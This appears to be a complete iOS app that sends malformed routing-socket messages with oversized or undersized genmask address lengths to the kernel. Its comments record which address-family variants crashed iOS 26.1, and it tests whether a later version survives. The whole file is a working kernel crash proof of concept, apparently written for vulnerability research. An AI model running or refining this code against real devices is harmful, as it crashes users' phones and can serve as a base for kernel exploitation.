#import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>

#define RTM_VERSION 5
#define RTM_GET     4

struct rt_metrics {
    uint32_t rmx_locks, rmx_mtu, rmx_hopcount;
    int32_t rmx_expire;
    uint32_t rmx_recvpipe, rmx_sendpipe, rmx_ssthresh;
    uint32_t rmx_rtt, rmx_rttvar, rmx_pksent, rmx_state;
    uint32_t rmx_filler[3];
};
struct rt_msghdr {
    unsigned short rtm_msglen; unsigned char rtm_version; unsigned char rtm_type;
    unsigned short rtm_index; int rtm_flags; int rtm_addrs;
    int rtm_pid; int rtm_seq; int rtm_errno;
    int rtm_use; unsigned int rtm_inits; struct rt_metrics rtm_rmx;
};

static NSMutableString *gLog;
static void LOG(NSString *fmt, ...) {
    va_list args; va_start(args, fmt);
    [gLog appendString:[[NSString alloc] initWithFormat:fmt arguments:args]];
    [gLog appendString:@"\n"]; va_end(args);
}

static int test_genmask(int gm_family, int gm_len) {
    int fd = socket(PF_ROUTE, SOCK_RAW, 0);
    if (fd < 0) { LOG(@"  socket fail e=%d", errno); return -1; }

    char buf[512]; memset(buf, 0, sizeof(buf));
    struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
    rtm->rtm_type = RTM_GET;
    rtm->rtm_version = RTM_VERSION;
    rtm->rtm_seq = 1;
    rtm->rtm_addrs = 0x09;

    int off = sizeof(*rtm);
    struct sockaddr_in *dst = (struct sockaddr_in *)(buf + off);
    dst->sin_family = AF_INET;
    dst->sin_len = sizeof(*dst);
    dst->sin_addr.s_addr = inet_addr("8.8.8.8");
    off += sizeof(*dst);

    buf[off] = gm_len;
    buf[off+1] = gm_family;
    memset(buf+off+2, 0xFF, gm_len > 2 ? gm_len - 2 : 0);
    int padded = (gm_len + 3) & ~3;
    if (padded < 4) padded = 4;
    off += padded;
    rtm->rtm_msglen = off;

    ssize_t s = write(fd, buf, rtm->rtm_msglen);
    int werr = (s < 0) ? errno : 0;
    LOG(@"  fam=%d len=%d write=%zd e=%d", gm_family, gm_len, s, werr);

    if (s > 0) {
        struct timeval tv = {0, 200000};
        setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
        ssize_t r = read(fd, buf, sizeof(buf));
        if (r > 0) {
            struct rt_msghdr *resp = (struct rt_msghdr *)buf;
            LOG(@"  resp: %zd bytes type=%u err=%d addrs=0x%x",
                r, resp->rtm_type, resp->rtm_errno, resp->rtm_addrs);
        }
    }
    close(fd);
    return werr;
}

@interface AppDelegate : UIResponder <UIApplicationDelegate>
@property (strong, nonatomic) UIWindow *window;
@end

@implementation AppDelegate
- (BOOL)application:(UIApplication *)app didFinishLaunchingWithOptions:(NSDictionary *)opts {
    self.window = [[UIWindow alloc] initWithFrame:[[UIScreen mainScreen] bounds]];
    UIViewController *vc = [[UIViewController alloc] init];
    UIButton *copyBtn = [UIButton buttonWithType:UIButtonTypeSystem];
    [copyBtn setTitle:@"COPY LOG" forState:UIControlStateNormal];
    copyBtn.titleLabel.font = [UIFont boldSystemFontOfSize:16];
    copyBtn.backgroundColor = [UIColor systemBlueColor];
    [copyBtn setTitleColor:[UIColor whiteColor] forState:UIControlStateNormal];
    copyBtn.layer.cornerRadius = 8;
    copyBtn.translatesAutoresizingMaskIntoConstraints = NO;
    UITextView *tv = [[UITextView alloc] init];
    tv.translatesAutoresizingMaskIntoConstraints = NO;
    tv.editable = NO;
    tv.font = [UIFont fontWithName:@"Menlo" size:9];
    [vc.view addSubview:copyBtn];
    [vc.view addSubview:tv];
    UILayoutGuide *safe = vc.view.safeAreaLayoutGuide;
    [NSLayoutConstraint activateConstraints:@[
        [copyBtn.topAnchor constraintEqualToAnchor:safe.topAnchor constant:8],
        [copyBtn.leadingAnchor constraintEqualToAnchor:safe.leadingAnchor constant:16],
        [copyBtn.trailingAnchor constraintEqualToAnchor:safe.trailingAnchor constant:-16],
        [copyBtn.heightAnchor constraintEqualToConstant:44],
        [tv.topAnchor constraintEqualToAnchor:copyBtn.bottomAnchor constant:8],
        [tv.leadingAnchor constraintEqualToAnchor:safe.leadingAnchor],
        [tv.trailingAnchor constraintEqualToAnchor:safe.trailingAnchor],
        [tv.bottomAnchor constraintEqualToAnchor:safe.bottomAnchor],
    ]];
    [copyBtn addAction:[UIAction actionWithHandler:^(UIAction *a) {
        [UIPasteboard generalPasteboard].string = tv.text ?: @"";
        [copyBtn setTitle:@"COPIED!" forState:UIControlStateNormal];
        dispatch_after(dispatch_time(DISPATCH_TIME_NOW, NSEC_PER_SEC), dispatch_get_main_queue(), ^{
            [copyBtn setTitle:@"COPY LOG" forState:UIControlStateNormal];
        });
    }] forControlEvents:UIControlEventTouchUpInside];
    self.window.rootViewController = vc;
    [self.window makeKeyAndVisible];

    dispatch_async(dispatch_get_global_queue(0, 0), ^{
        gLog = [NSMutableString string];
        signal(SIGPIPE, SIG_IGN);
        LOG(@"=== iOS 26.4 Variant Test ===");
        LOG(@"iOS: %@\n", [[UIDevice currentDevice] systemVersion]);

        LOG(@"--- AF_INET(2) baseline (should be ENOBUFS) ---");
        test_genmask(2, 16);
        test_genmask(2, 33);

        LOG(@"\n--- AF_INET6(30) variants (CRASHED on 26.1 at sa_len=8) ---");
        test_genmask(30, 4);
        LOG(@"  ^ sa_len=4 done");
        test_genmask(30, 8);
        LOG(@"  ^ sa_len=8 done (THIS crashed 26.1)");
        test_genmask(30, 16);
        LOG(@"  ^ sa_len=16 done");
        test_genmask(30, 28);
        LOG(@"  ^ sa_len=28 done");

        LOG(@"\n--- AF_LINK(18) variants (CRASHED on 26.1 at sa_len=4) ---");
        test_genmask(18, 4);
        LOG(@"  ^ sa_len=4 done (THIS crashed 26.1)");
        test_genmask(18, 8);
        LOG(@"  ^ sa_len=8 done");
        test_genmask(18, 16);
        LOG(@"  ^ sa_len=16 done");

        LOG(@"\n--- AF_UNIX(1) variants (CRASHED on 26.1 at sa_len=4) ---");
        test_genmask(1, 4);
        LOG(@"  ^ sa_len=4 done (THIS crashed 26.1)");
        test_genmask(1, 8);
        LOG(@"  ^ sa_len=8 done");

        LOG(@"\n--- Exotic families ---");
        test_genmask(16, 8);
        LOG(@"  ^ AF_APPLETALK(16)");
        test_genmask(17, 8);
        LOG(@"  ^ AF_ISO(17)");
        test_genmask(28, 8);
        LOG(@"  ^ AF_SYSTEM(28)");
        test_genmask(29, 8);
        LOG(@"  ^ AF_PPP(29)");
        test_genmask(31, 8);
        LOG(@"  ^ AF_NDRV(31)");

        LOG(@"\n=== If you see this, phone survived all tests ===");
        dispatch_async(dispatch_get_main_queue(), ^{ tv.text = gLog; });
    });
    return YES;
}
@end

int main(int argc, char *argv[]) {
    @autoreleasepool {
        return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));
    }
}
